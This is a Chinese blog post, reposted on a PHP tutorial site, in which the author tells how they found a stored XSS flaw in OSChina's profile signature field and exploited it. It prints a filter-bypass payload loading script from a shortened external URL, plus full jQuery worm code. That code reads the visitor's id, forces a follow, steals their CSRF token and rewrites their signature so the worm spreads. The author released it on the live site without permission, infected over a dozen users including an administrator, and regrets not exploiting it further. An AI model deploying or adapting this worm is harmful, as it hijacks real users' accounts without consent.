来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 对于Web安全,我只能算是个初学者,XSS,SQL注入都有所了解,在写代码的过程中也会考虑这方面的安全问题。但还没有针对网站进行漏洞挖掘,并实施攻击。我经常会去逛开源中国,昨...
对于Web安全,我只能算是个初学者,XSS,SQL注入都有所了解,在写代码的过程中也会考虑这方面的安全问题。但还没有针对网站进行漏洞挖掘,并实施攻击。我经常会去逛开源中国,昨天我打算探测一下它的XSS漏洞。 每个用户的主页都有一个“个性签名”的输入框,于是我从这里开始下手。首先我就输入了“<>",没想到他竟然没有对着两个符号进行转义,虽然后面的测试发现它会过滤html标签,但针对这种过滤可轻松的绕过。经过尝试我构建了如下代码: <<a>scri</a>pt src=""><</<a>/scri</a>pt> 经过过滤成变成: <script src=""></script> 后面就很顺理成章了,我在CSDN CODE里创建了一条代码片,转为google短域名,然后引用了过来: <<a>scri</a>pt src="http://goo.gl/aXSgs6"><</<a>/scri</a>pt> 把我的签名改为以上内容,发一条动态诱惑大家来访问我的主页,以下为攻击代码的内容: //获取当前登录用户的id var visitorId = $('html').html().match(/user=(\d+)/)[1] //147691是我的id,让当前用户关注我 $.ajax({ url:'http://my.oschina.net/action/user/follow', type:'post', async:false, data:'id=147691&user=' + visitorId }) //获取token,用于修改当前用户的签名 var token = '' $.ajax({ url:'http://my.oschina.net/u/' + visitorId, async:false, success:function(d){ token = d.match(/user_code=([0-9a-z]+)/i)[1] } }) $.ajax({ url:'/action/profile/update_user_signature?user_code=' + token, type:'post', //修改签名内容,同时插入这段xss代码,别人访问他的页面,也会被感染 data:'element_id=MyResume&original_html=&original_value=&update_value=' + encodeURI('<<a>scri</a>pt src="http://goo.gl/aXSgs6"><</<a>/scri</a>pt>这个人很懒,啥都写了') }) 这段代码只做了两件事: 1. 关注我 2. 修改他的签名,让其被感染 当时比较激动,只是为了好玩所以就放出去了,一会儿就有十几个人被感染,管理员也在其中,很快漏洞被发现并修复,十来分钟就结束了 事后想想比较后悔,感觉不尽兴啊,这么好的漏洞就这样被浪费了。第一次,所以没沉住气。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com